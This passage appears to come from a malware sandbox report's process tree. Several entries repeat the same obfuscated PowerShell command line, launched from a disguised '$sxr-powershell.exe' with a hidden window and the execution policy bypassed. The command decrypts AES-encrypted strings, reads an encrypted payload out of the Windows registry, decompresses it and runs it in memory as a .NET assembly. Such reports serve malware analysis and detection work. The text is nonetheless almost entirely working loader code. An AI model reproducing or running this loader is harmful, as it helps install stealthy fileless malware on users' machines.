$PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yIDpC, 0, $yIDpC.Length);$yIDpC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yIDpC);$TXBbc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hRGSsdwZ7V3OoZXTeu5mgA==');$TXBbc = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TXBbc, 0, $TXBbc.Length);$TXBbc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TXBbc);$nQjjQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrEdHQCXxF+TzPfZH6WUig==');$nQjjQ = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nQjjQ, 0, $nQjjQ.Length);$nQjjQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nQjjQ);$UuKgk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjEbMTctiNnYJAgnNI2oSg==');$UuKgk = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UuKgk, 0, $UuKgk.Length);$UuKgk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UuKgk);$mEpcD0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwKrTyAmeTR2nhu/tMCwPw==');$mEpcD0 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD0, 0, $mEpcD0.Length);$mEpcD0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD0);$mEpcD1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg1NUcq3HGLL7YVIz3Igxg==');$mEpcD1 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD1, 0, $mEpcD1.Length);$mEpcD1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD1);$mEpcD2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JvW3rW1v4VXAnDrX8EsaQA==');$mEpcD2 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD2, 0, $mEpcD2.Length);$mEpcD2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD2);$mEpcD3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('862pJ0UI1ziXmSSfUDCtmA==');$mEpcD3 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD3, 0, $mEpcD3.Length);$mEpcD3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD3);$PGEDA.Dispose();$yasdo1.Dispose();$bCPVQ = [Microsoft.Win32.Registry]::$nQjjQ.$TXBbc($mEpcD).$yIDpC($hEIGi);$XznIq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($bCPVQ);$yasdo = New-Object System.Security.Cryptography.AesManaged;$yasdo.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$WWPRQ = $yasdo.('rotpyrceDetaerC'[-1..-15] -join '')();$XznIq = $WWPRQ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XznIq, 0, $XznIq.Length);$WWPRQ.Dispose();$yasdo.Dispose();$eOjfv = New-Object System.IO.MemoryStream(, $XznIq);$icncw = New-Object System.IO.MemoryStream;$FDCer = New-Object System.IO.Compression.GZipStream($eOjfv, [IO.Compression.CompressionMode]::$mEpcD1);$FDCer.$UuKgk($icncw);$FDCer.Dispose();$eOjfv.Dispose();$icncw.Dispose();$XznIq = $icncw.ToArray();$BhqNc = $GPNtv | IEX;$TbGRO = $BhqNc::$mEpcD2($XznIq);$Jnafu = $TbGRO.EntryPoint;$Jnafu.$mEpcD0($null, (, [string[]] ($swhVB)))
    3⤵
    PID:4804
- - C:\Windows\$sxr-powershell.exe
    "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(112).WaitForExit();[System.Threading.Thread]::Sleep(5000); $yasdo1 = New-Object System.Security.Cryptography.AesManaged;$yasdo1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$PGEDA = $yasdo1.('rotpyrceDetaerC'[-1..-15] -join '')();$mEpcD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8dIxAukcUS2jlenUEJ52UQ==');$mEpcD = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD, 0, $mEpcD.Length);$mEpcD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD);$hEIGi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6poxNOAF5HxvT+4FRmNxhRRJZINGbNLmmbQZ7p9qwIk=');$hEIGi = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hEIGi, 0, $hEIGi.Length);$hEIGi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hEIGi);$swhVB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VwKA38/ag3Or4RFG8BEBkw==');$swhVB = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($swhVB, 0, $swhVB.Length);$swhVB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($swhVB);$GPNtv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+q36k3zG8tDjCQhfGWK82wKgXiHPiM/sEwZR9r19xT6vDzyzjEG6FkWmEpBBgwO3qCgrlLMnBvi5B+SCtHheqNqeLeH6+GbzHt4wVwQ7d8W6l336oE8oAIcduMdkau+P4BLKvzx1f0kVTqoWpbQzXWEh5yIMTrqf7xn6aQJSalcw+P6hxgPQ8bvZy8HZGJjduavwWtUluJFqIAedLgMHYwZHqngc+7YrNL7FKZMHylHtBeVjM8lRKQccG+weIdeBl1Gw0JLXQ2QdM9DjxkXjkcG3hMN9HbKYG8xNfyB7Nar5Ag8kPpgM1MQZ01Qy7Gcqq4lNtJOcuHuJmeTcelpSFXGXBtIWYOyuSuIMYZYgfwuVzqG2fBFxavE45ZaOBO3/5tJh5XomRJP1h0epQjrEbgit7WjOELRTkEnc5i6iW8k=');$GPNtv = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GPNtv, 0, $GPNtv.Length);$GPNtv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GPNtv);$qGVcu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vg6vdfdHt5wA3UHEt1vRew==');$qGVcu = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qGVcu, 0, $qGVcu.Length);$qGVcu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qGVcu);$yIDpC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gP0Y3/JJcxUebJYcKeWQMg==');$yIDpC = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yIDpC, 0, $yIDpC.Length);$yIDpC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yIDpC);$TXBbc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hRGSsdwZ7V3OoZXTeu5mgA==');$TXBbc = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TXBbc, 0, $TXBbc.Length);$TXBbc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TXBbc);$nQjjQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrEdHQCXxF+TzPfZH6WUig==');$nQjjQ = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nQjjQ, 0, $nQjjQ.Length);$nQjjQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nQjjQ);$UuKgk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjEbMTctiNnYJAgnNI2oSg==');$UuKgk = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UuKgk, 0, $UuKgk.Length);$UuKgk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UuKgk);$mEpcD0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwKrTyAmeTR2nhu/tMCwPw==');$mEpcD0 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD0, 0, $mEpcD0.Length);$mEpcD0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD0);$mEpcD1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg1NUcq3HGLL7YVIz3Igxg==');$mEpcD1 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD1, 0, $mEpcD1.Length);$mEpcD1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD1);$mEpcD2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JvW3rW1v4VXAnDrX8EsaQA==');$mEpcD2 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD2, 0, $mEpcD2.Length);$mEpcD2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD2);$mEpcD3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('862pJ0UI1ziXmSSfUDCtmA==');$mEpcD3 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD3, 0, $mEpcD3.Length);$mEpcD3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD3);$PGEDA.Dispose();$yasdo1.Dispose();$bCPVQ = [Microsoft.Win32.Registry]::$nQjjQ.$TXBbc($mEpcD).$yIDpC($hEIGi);$XznIq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($bCPVQ);$yasdo = New-Object System.Security.Cryptography.AesManaged;$yasdo.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$WWPRQ = $yasdo.('rotpyrceDetaerC'[-1..-15] -join '')();$XznIq = $WWPRQ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XznIq, 0, $XznIq.Length);$WWPRQ.Dispose();$yasdo.Dispose();$eOjfv = New-Object System.IO.MemoryStream(, $XznIq);$icncw = New-Object System.IO.MemoryStream;$FDCer = New-Object System.IO.Compression.GZipStream($eOjfv, [IO.Compression.CompressionMode]::$mEpcD1);$FDCer.$UuKgk($icncw);$FDCer.Dispose();$eOjfv.Dispose();$icncw.Dispose();$XznIq = $icncw.ToArray();$BhqNc = $GPNtv | IEX;$TbGRO = $BhqNc::$mEpcD2($XznIq);$Jnafu = $TbGRO.EntryPoint;$Jnafu.$mEpcD0($null, (, [string[]] ($swhVB)))
    3⤵
    PID:4692
- - C:\Windows\$sxr-powershell.exe
    "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(112).WaitForExit();[System.Threading.Thread]::Sleep(5000); $yasdo1 = New-Object System.Security.Cryptography.AesManaged;$yasdo1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$PGEDA = $yasdo1.('rotpyrceDetaerC'[-1..-15] -join '')();$mEpcD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8dIxAukcUS2jlenUEJ52UQ==');$mEpcD = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD, 0, $mEpcD.Length);$mEpcD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD);$hEIGi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6poxNOAF5HxvT+4FRmNxhRRJZINGbNLmmbQZ7p9qwIk=');$hEIGi = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hEIGi, 0, $hEIGi.Length);$hEIGi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hEIGi);$swhVB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VwKA38/ag3Or4RFG8BEBkw==');$swhVB = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($swhVB, 0, $swhVB.Length);$swhVB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($swhVB);$GPNtv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+q36k3zG8tDjCQhfGWK82wKgXiHPiM/sEwZR9r19xT6vDzyzjEG6FkWmEpBBgwO3qCgrlLMnBvi5B+SCtHheqNqeLeH6+GbzHt4wVwQ7d8W6l336oE8oAIcduMdkau+P4BLKvzx1f0kVTqoWpbQzXWEh5yIMTrqf7xn6aQJSalcw+P6hxgPQ8bvZy8HZGJjduavwWtUluJFqIAedLgMHYwZHqngc+7YrNL7FKZMHylHtBeVjM8lRKQccG+weIdeBl1Gw0JLXQ2QdM9DjxkXjkcG3hMN9HbKYG8xNfyB7Nar5Ag8kPpgM1MQZ01Qy7Gcqq4lNtJOcuHuJmeTcelpSFXGXBtIWYOyuSuIMYZYgfwuVzqG2fBFxavE45ZaOBO3/5tJh5XomRJP1h0epQjrEbgit7WjOELRTkEnc5i6iW8k=');$GPNtv = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GPNtv, 0, $GPNtv.Length);$GPNtv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GPNtv);$qGVcu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vg6vdfdHt5wA3UHEt1vRew==');$qGVcu = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qGVcu, 0, $qGVcu.Length);$qGVcu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qGVcu);$yIDpC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gP0Y3/JJcxUebJYcKeWQMg==');$yIDpC = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yIDpC, 0, $yIDpC.Length);$yIDpC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yIDpC);$TXBbc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hRGSsdwZ7V3OoZXTeu5mgA==');$TXBbc = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TXBbc, 0, $TXBbc.Length);$TXBbc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TXBbc);$nQjjQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrEdHQCXxF+TzPfZH6WUig==');$nQjjQ = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nQjjQ, 0, $nQjjQ.Length);$nQjjQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nQjjQ);$UuKgk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjEbMTctiNnYJAgnNI2oSg==');$UuKgk = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UuKgk, 0, $UuKgk.Length);$UuKgk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UuKgk);$mEpcD0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwKrTyAmeTR2nhu/tMCwPw==');$mEpcD0 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD0, 0, $mEpcD0.Length);$mEpcD0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD0);$mEpcD1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg1NUcq3HGLL7YVIz3Igxg==');$mEpcD1 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD1, 0, $mEpcD1.Length);$mEpcD1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD1);$mEpcD2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JvW3rW1v4VXAnDrX8EsaQA==');$mEpcD2 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD2, 0, $mEpcD2.Length);$mEpcD2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD2);$mEpcD3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('862pJ0UI1ziXmSSfUDCtmA==');$mEpcD3 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD3, 0, $mEpcD3.Length);$mEpcD3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD3);$PGEDA.Dispose();$yasdo1.Dispose();$bCPVQ = [Microsoft.Win32.Registry]::$nQjjQ.$TXBbc($mEpcD).$yIDpC($hEIGi);$XznIq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($bCPVQ);$yasdo = New-Object System.Security.Cryptography.AesManaged;$yasdo.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$WWPRQ = $yasdo.('rotpyrceDetaerC'[-1..-15] -join '')();$XznIq = $WWPRQ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XznIq, 0, $XznIq.Length);$WWPRQ.Dispose();$yasdo.Dispose();$eOjfv = New-Object System.IO.MemoryStream(, $XznIq);$icncw = New-Object System.IO.MemoryStream;$FDCer = New-Object System.IO.Compression.GZipStream($eOjfv, [IO.Compression.CompressionMode]::$mEpcD1);$FDCer.$UuKgk($icncw);$FDCer.Dispose();$eOjfv.Dispose();$icncw.Dispose();$XznIq = $icncw.ToArray();$BhqNc = $GPNtv | IEX;$TbGRO = $BhqNc::$mEpcD2($XznIq);$Jnafu = $TbGRO.EntryPoint;$Jnafu.$mEpcD0($null, (, [string[]] ($swhVB)))
    3⤵
    PID:444
- - C:\Windows\$sxr-powershell.exe
    "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(112).WaitForExit();[System.Threading.Thread]::Sleep(5000); $yasdo1 = New-Object System.Security.Cryptography.AesManaged;$yasdo1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$PGEDA = $yasdo1.('rotpyrceDetaerC'[-1..-15] -join '')();$mEpcD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8dIxAukcUS2jlenUEJ52UQ==');$mEpcD = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD, 0, $mEpcD.Length);$mEpcD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD);$hEIGi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6poxNOAF5HxvT+4FRmNxhRRJZINGbNLmmbQZ7p9qwIk=');$hEIGi = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hEIGi, 0, $hEIGi.Length);$hEIGi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hEIGi);$swhVB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VwKA38/ag3Or4RFG8BEBkw==');$swhVB = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($swhVB, 0, $swhVB.Length);$swhVB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($swhVB);$GPNtv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+q36k3zG8tDjCQhfGWK82wKgXiHPiM/sEwZR9r19xT6vDzyzjEG6FkWmEpBBgwO3qCgrlLMnBvi5B+SCtHheqNqeLeH6+GbzHt4wVwQ7d8W6l336oE8oAIcduMdkau+P4BLKvzx1f0kVTqoWpbQzXWEh5yIMTrqf7xn6aQJSalcw+P6hxgPQ8bvZy8HZGJjduavwWtUluJFqIAedLgMHYwZHqngc+7YrNL7FKZMHylHtBeVjM8lRKQccG+weIdeBl1Gw0JLXQ2QdM9DjxkXjkcG3hMN9HbKYG8xNfyB7Nar5Ag8kPpgM1MQZ01Qy7Gcqq4lNtJOcuHuJmeTcelpSFXGXBtIWYOyuSuIMYZYgfwuVzqG2fBFxavE45ZaOBO3/5tJh5XomRJP1h0epQjrEbgit7WjOELRTkEnc5i6iW8k=');$GPNtv = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GPNtv, 0, $GPNtv.Length);$GPNtv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GPNtv);$qGVcu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vg6vdfdHt5wA3UHEt1vRew==');$qGVcu = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qGVcu, 0, $qGVcu.Length);$qGVcu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qGVcu);$yIDpC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gP0Y3/JJcxUebJYcKeWQMg==');$yIDpC = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yIDpC, 0, $yIDpC.Length);$yIDpC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yIDpC);$TXBbc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hRGSsdwZ7V3OoZXTeu5mgA==');$TXBbc = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TXBbc, 0, $TXBbc.Length);$TXBbc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TXBbc);$nQjjQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrEdHQCXxF+TzPfZH6WUig==');$nQjjQ = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nQjjQ, 0, $nQjjQ.Length);$nQjjQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nQjjQ);$UuKgk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjEbMTctiNnYJAgnNI2oSg==');$UuKgk = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UuKgk, 0, $UuKgk.Length);$UuKgk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UuKgk);$mEpcD0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwKrTyAmeTR2nhu/tMCwPw==');$mEpcD0 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD0, 0, $mEpcD0.Length);$mEpcD0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD0);$mEpcD1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg1NUcq3HGLL7YVIz3Igxg==');$mEpcD1 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD1, 0, $mEpcD1.Length);$mEpcD1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD1);$mEpcD2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JvW3rW1v4VXAnDrX8EsaQA==');$mEpcD2 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD2, 0, $mEpcD2.Length);$mEpcD2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD2);$mEpcD3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('862pJ0UI1ziXmSSfUDCtmA==');$mEpcD3 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD3, 0, $mEpcD3.Length);$mEpcD3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD3);$PGEDA.Dispose();$yasdo1.Dispose();$bCPVQ = [Microsoft.Win32.Registry]::$nQjjQ.$TXBbc($mEpcD).$yIDpC($hEIGi);$XznIq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($bCPVQ);$yasdo = New-Object System.Security.Cryptography.AesManaged;$yasdo.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$WWPRQ = $yasdo.('rotpyrceDetaerC'[-1..-15] -join '')();$XznIq = $WWPRQ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XznIq, 0, $XznIq.Length);$WWPRQ.Dispose();$yasdo.Dispose();$eOjfv = New-Object System.IO.MemoryStream(, $XznIq);$icncw = New-Object System.IO.MemoryStream;$FDCer = New-Object System.IO.Compression.GZipStream($eOjfv, [IO.Compression.CompressionMode]::$mEpcD1);$FDCer.$UuKgk($icncw);$FDCer.Dispose();$eOjfv.Dispose();$icncw.Dispose();$XznIq = $icncw.ToArray();$BhqNc = $GPNtv | IEX;$TbGRO = $BhqNc::$mEpcD2($XznIq);$Jnafu = $TbGRO.EntryPoint;$Jnafu.$mEpcD0($null, (, [string[]] ($swhVB)))
    3⤵
    PID:4080
- - C:\Windows\$sxr-powershell.exe
